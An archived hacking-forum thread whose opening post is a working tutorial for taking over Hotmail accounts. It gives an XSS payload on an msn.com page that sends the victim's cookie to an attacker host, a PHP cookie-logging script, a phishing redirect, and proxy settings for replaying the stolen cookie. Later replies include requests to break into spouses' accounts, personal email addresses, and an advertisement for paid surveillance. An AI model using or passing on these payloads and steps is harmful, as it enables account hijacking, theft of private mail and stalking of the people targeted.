PDA

View Full Version : How to steal someones msn cookie.



carlo
08-16-2005, 11:46 AM
How does it work
One of the following things is needed to login into Hotmail:
When you know his/her e-mail address and password you can login with his username and password on http://www.hotmail.com/
When you know his/her account information like country and zip-code, and you are able to answer his/her secret question. In this case You can reset his/her password, and login just like option *, with a new password.
When you have access to his alternate e-mail address, you could send a password reset e-mail message to that account to reset his/her password.
When you have his/her 'cookie' for passport.net or hotmail.msn.com you can 'fake' his/her cookie, and make hotmail believe you are already logged in as this user.
I am using Option 4 to make my exploit work. This exploit is using the cookie from hotmail.msn.com to access the 'victims' inbox. Because the cookie is not limited to the domain hotmail.msn.com, I can also use an exploit on the site msn.com to steal the cookie from the victim. When I searched msn.com for an exploit called "HTML Injection" or "Cross Site Scripting" (XSS), it took me about *0 minutes to find one. With this exploit type I'm able to insert additional pieces of html or javascript into a page of msn.com. When I insert the code: <SCRIPT>alert(document.cookie)</SCRIPT>, the user will see a message box just like the picture below when he visits that site.



The real HTML injection example with popup can be viewed at:
http://ilovemessenger.msn.com/?mkt=nl-nl');alert(document.cookie);escape('

With the text you can see in the "alert message-box" above, everybody with some knowledge is able to access my inbox. This text is send by my browser to hotmail every time I visit a site with the domain "msn.com". This method is used so hotmail knows I am still logged in. The text in the popup is called a "cookie". A trick used by attackers is to fake somebody else's cookie. I will explain one easy method, although there are different ways of doing it. I can fake cookies with a helper program called "Proxomitron". Proxomitron acts like a proxy server with the option to change, fake or block html headers. Cookie-text, like the text in the popup, is send by the browser invisibly in an html-header called "cookie". Because Proxomitron is able to fake headers, this program is very useful to me.

I will explain later how proxomitron must be configured to fake cookies.

How does the attacker get the cookie? Showing a popup to the user with his cookie information does not help the attacker. The attacker wants the text now shown in the popup-box. To log cookies the hacker needs to create a internet-page with PHP or ASP. This is to log some text to a log file on a webserver. I've created a simple PHP script that is able to log text to a log file. I've named this file "cookielogger.php" and its content looks like this:
<?php
$filename = "logfile.txt";
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, 'a'))
{
echo "Error: Unable to write to the log file";
exit;
}
else
{
if (fwrite($handle, "\r\n" . $_GET["cookie"]) === FALSE)
{
echo "Error while writing to log file";
exit;
}
}
echo "Successfully wrote a string to the log file";
fclose($handle);
exit;
}
echo "nothing to write to the log file";
exit;
?>

I uploaded this file to a webserver. As example I'll use the fake internet site http://www.hacker.com/. To test the PHP script I'll go to http://www.hacker.com/cookielogger.php?cookie=test. I can see the text "Successfully wrote a string to the log file". When I'm now browsing to http://www.hacker.com/logfile.txt I can see the text "test".
When I go to http://www.hacker.com/cookielogger.php?cookie=this text is being logged, the text "this text is being logged" will be appended to the log file: http://www.hacker.com/logfile.txt

Cookielogger.php is now ready to log text strings, so it's also ready to log cookies. I use the Cross Site Scripting exploit to inject a code that will redirect the user to http://www.hacker.com/cookielogger.php with the argument "cookie" filled with the user's cookie. So when the user visits the msn site with added code, he will be redirected to http://www.hacker.com/cookielogger.php?cookie=hiscookie and the hacker can read his cookie information at the site http://www.hacker.com/logfile.txt because "hiscookie" is now logged to a textfile the hacker can see. the code I'm inserting in msn.com will look like this:
<SCRIPT>location.href='http://www.hacker.com/cookielogger.php?cookie='+escape(document.cookie)</SCRIPT>

See the two printscreens below of the results with the cookielogger. Remember "www.hacker.com" is not really used, its just an example.





The real HTML injection example to log the cookie is:
http://ilovemessenger.msn.com/?mkt=nl-nl');location.href='http://www.hacker.com/cookielogger.php?cookie='+escape(document.cookie);escape('

Okay, the exploit is ready to go. We could send the link above to the victim in the hope he clicks the link. But there aren't many people who go to a site like "ilovemessenger.msn.com". Also when the users sees something like "document.cookie" in the url he'll probably think twice before clicking it.

When we create a new php page called "redirect.php" with the following content:
<?php
header("Location: http://ilovemessenger.msn.com/?mkt=nl-nl');location.href='http://www.hacker.com/cookielogger.php?cookie='+escape(document.cookie);escape('");
exit;
?>

and place this file online on http://www.hacker.com/redirect.php. Now when we send the victim an email with this link and he clicks on it he will be redirected to the ilovemessenger site plus exploit, here he will be redirected to hacker.com/cookielogger.php with his cookie of msn.com being logged in the log file.

When these actions are completed you are ready to start exploiting the victim. If anyone really would try to break into somebody's hotmail account he also would change cookielogger.php to redirect on, or to show an innocent message, so that the user wouldn't notice that his cookie was logged.

When a malicious hacker sends an e-mail containing the link to the redirect script and the victim opens his new e-mail message he will see something like this:



When the victim clicks the text "click this link" the exploit will come in motion. In real life there are tons of methods of persuading the victim to click on a link. The hacker is patiently waiting for a new entry in the file http://www.hacker.com/logfile.txt. When the user finally clicks the link and the hacker notices extra text in the log file the fun can start. When the victim is fallen for your trick, the log file looks like this:



Now the hacker has stolen the cookie of the victim, the hacker can proceed in faking his cookie when entering hotmail. Somewhere at the start of this explanation I talked about "Proxomitron" to fake cookies. I will now explain how to make the settings to fake this cookie.

Proxomitron looks like this:



Just place a 'v' before "Outgoing Header Filters" because that's what we want to do. We want to send the users cookie to the web server as it is or own cookie. Press the button "Headers" to create a new header to fake the cookie.



In the new window, fill in these values:
HTTP Header: "Cookie: a description"
URL Match: ""
Header Value Match: "*"
Replacement test: the users cookie



Apply the new header by putting a 'v' before the new header in the "Out" column and press apply to save the changes.



Proxomitron is now ready for faking the cookie. Now setting up your browser. You need to set your browser to use a proxy-server. It differs per browser how to make that setting.
In Internet Explorer: "Tools -> Internet Options... -> Connections -> LAN Settings -> Proxy server"
In Mozilla Firefox: "Tools -> General -> Connection Settings -> Manual proxy configuration"

Set the Address to "*27.0.0.*" (your own pc) and as port : "8080" (the port of Proxomitron proxy server)

When your browser is setup to use your own proxy server, you can go to the following url :
http://by*0*fd.bay*0*.hotmail.msn.com/cgi-bin/hmhome?fti=yes

When successful you can now see the inbox of the victims mail box.

Written by Alex de Vries. Edited By carlo

jaybo2502
10-13-2005, 02:08 PM
Hey can you get a netzero email password? The account is rgself2@netzero.net This a matter of my wife, hope you understand. Jaybo2502 jayjones4@hotmail.com . JJ

nkunovski
10-13-2005, 07:10 PM
please can every one give password of my wife who lives in ecuador she wants to take my son illegaly to usa without my permission.hope that u understand me. her email is mariuxih@hotmail.com

Salsero
10-14-2005, 10:53 PM
Hi, Carlo...

Do you still have the your original document on "how to hack hotmail"?
I would like to see the pictures...

It is such a good article, by the way...
Thank you.

From México, Salsero...

Unknown
10-15-2005, 05:32 AM
The original can be found here: http://www.net-force.nl/files/articles/hotmail_xss/

natasha
10-19-2005, 12:10 AM
Hi dear

The method u mentioned is really great but ur php redirect script doesnot log cookies

The script itself works fine when i tested it but it still doesnt log cookies.

It also can redirect to another site

invaderzgroup
10-19-2005, 11:36 AM
For remote servalence go here (http://www.geocities.com/invaderzgroup/index.html) Cheap Prices. Includes all passwords and chat logs for only £50!!

invaderz Group.

carlo
10-19-2005, 11:38 AM
Moderators please dont delete the above. I want to see how this website does. Im conducting a survey to see how many people use this service.

Thanks

Carlo

Gaudz1
11-01-2005, 07:49 PM
Not quite sure how do do this, but can you still hack if you do not know the secret question. Is a keylogger, best for this???

Phazex86
11-05-2005, 03:21 PM
Carlo,

Good job with this exploit, although I think that these users might like to know how to get their victim's password. Most people who are posting are asking you to get them 'their wife's' account password, although your exploit requires them to already have it.
When you know his/her e-mail address and password you can login .

I think that these users would appreciate a tutorial on exactly how to get someones hotmail password. Although, if these users who claim that the have a wife are really concerned, then they would follow invaderzgroup s***estion and get professional help.

Happy exploiting,
Phaze

carlo
11-06-2005, 01:12 PM
I agree.

As i have said before there are other ways like fake pages and trojans. Soon im going to post various ideas to hack hotmail.

Thanks for the tip

carlo

Beramode
11-18-2005, 12:07 AM
I agree, are there other exploits that are not required that you have the user's password? I understand usually this is something people want due to sabotage of a person they don't like, but as someone who's studying programming, it's nice to have some knowledge outside of the boundaries.. Something I could perhaps just test out on my own emails. Of course more from the perspective of not being on the computer of ther person whose email address you're trying to hack. Nyeh, makes no sense, though I'm not sure that matters, really.. xD I'm really interested in what other information you have to provide on the topic. :O Also, what of exploits for yahoo email addresses?

<* Yuri.

MrMicrosoft
11-29-2005, 03:44 PM
Dam! Carlo i feel so sorry for you, you give this great idea on 'How to hack Hotmail' and these noob leechers just sit there replying "hey can u get me the password to this acc." "i want to know my gf's pw can u get it please?"


Fkn Noob leechers get off ur fat ass and read what he has just worte FOR YOU and stop begging like a little girl!

Mr.Microsoft

carlo
12-14-2005, 11:55 AM
(To the above) it is only illegal to practise this. Also that hack no longer works.

Well done for pointing this out by the way. I also get tired of people asking me to hack other peoples accounts.

c0cky
12-15-2005, 02:40 PM
why is it required to run through the i.love.messenger page, if the link was directly from somebodys email acount would the cookies would still be there to be logged?

i realise im not right, but can you explain why thanks

jleeboy17
12-15-2005, 04:39 PM
thanks for the info thats very helpful to me

but try this out here (http://www.gindis.com/modules.php?name=Account&file=index&op=game&userid=*27*8)

old_guy_in_kiwi
02-06-2007, 01:11 AM
I have tried all and everything u said I must do here
But I think my brain is too small to get the password or anything to work
I need to get someones password urgently
Can u help me please

GypsyKittyCat
06-06-2007, 11:59 AM
can someone hack this email cuz its mine please godbless u its adams2nick@hotmail.com n wet_meash@hotmail.com ok email me the passwords please godbless u @ aregtine-girl-77*@hotmail.com thank u one more thing take down this site gypsychat2k.com please all of it! godbless u

GypsyKittyCat
06-06-2007, 12:03 PM
dont hack this email aregtine-girl-77*@hotmail.com thats mine

Ezekiel
06-06-2007, 03:07 PM
godbless u

I'm atheist, and nobody here is going to hack those accounts.

WildHog
08-19-2007, 08:17 PM
I see no one has posted anything new in this tread for a while. Security is always chaning and IE7 has made hacking Hotmail even more difficult. Does anybody have any new s***estions on this topic?

generali
02-14-2009, 12:37 AM
Hey, i know you probably get this alot, but, like an idiot, i blabbed my facebook password, and now some guy changed it. I tried to follow the guidelines, but I suck at hacking. If you have time, i would be very greatfull if you could send me the password. The e-mail is generali_j@hotmail.com (yes, he changed the e-mail password too). Thanks a lot,

Bob.:)

gordo
02-14-2009, 06:19 AM
bob, the last post on this thread was a year and a half ago...come on. No one is going to hack this for you here.